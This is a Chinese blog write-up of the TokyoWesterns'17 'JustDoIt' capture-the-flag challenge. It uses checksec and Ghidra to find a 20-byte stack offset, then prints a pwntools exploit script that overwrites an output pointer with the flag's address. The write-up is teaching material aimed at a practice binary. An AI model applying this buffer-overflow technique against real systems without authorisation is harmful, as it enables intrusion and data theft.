TokyoWesterns'17: JustDoIt 题解

这些题目皆来自于 nightmare 项目,感谢 nightmare 项目高质量的题解和选题,nigthmare 在线电子书地址:

https://guyinatuxedo.github.io/index.html

其中题目中所需要的二进制程序环境在这个电子书的官方仓库里有。

二进制文件信息收集

首先用 checksec (pwntools 这个 python 库自带的命令行工具)命令来查看文件防护措施

image.png

可以看到这个题目的程序没有 canary,随便栈溢出

逆向分析

PS: 本人为了方便逆向,修改了部分变量的名字

把程序拖入 ghidra 可以看到一个程序的逻辑。这边比较关键的是,程序会在结尾输出一个指针指向的字符串。

image.png

然后我们注意到这段代码,会把 flag 文件中的内容存入一个全局变量中。

image.png

因为全局变量在内存中的位子是定死的,所以我们可以通过 ghidra 来找到全局变量运行的时候在内存中的地址。双击 flag 这个变量,可以看到这个全局变量在内存中的地址

image.png

可以看到是 0x0804a080,如果我们把这个地址写入那个 output_message 指针变量中,应该就能输出 flag 了。

通过 ghidra 观察这个程序的栈的布局,看看是否有这种可能行

image.png

发现如果 user_input 溢出的时候,如果溢出的足够多,是有机会覆盖到 output_message 的。

同时可以看到 output_message 和 user_input 差了 0x28 - 0x14 = 0x14 = 20 个字节,然后我们可以看到读取 user_input 的那条语句中 pcVar1 = fgets(user_input,32,stdin); 程序读入了 32 个字节,这就足够我们通过这条语句覆盖掉 output_message 中的内容了

攻击脚本

from pwn import *
from pwnlib import *

flag_addr = 0x0804a080

if __name__ == '__main__':
    target = process('./just_do_it')

    # 输出数据,直到提示输入密码
    print(target.recvuntil('password.'))

    # 构造 payload
    payload = b''
    payload += b'a' * 20
    payload += p32(flag_addr)

    # 发送 payload
    target.sendline(payload)

    # 接管系统的所有标准输入输出
    target.interactive()
posted @ 2021-11-23 14:49  Node_Sans  阅读(87)  评论(0编辑  收藏  举报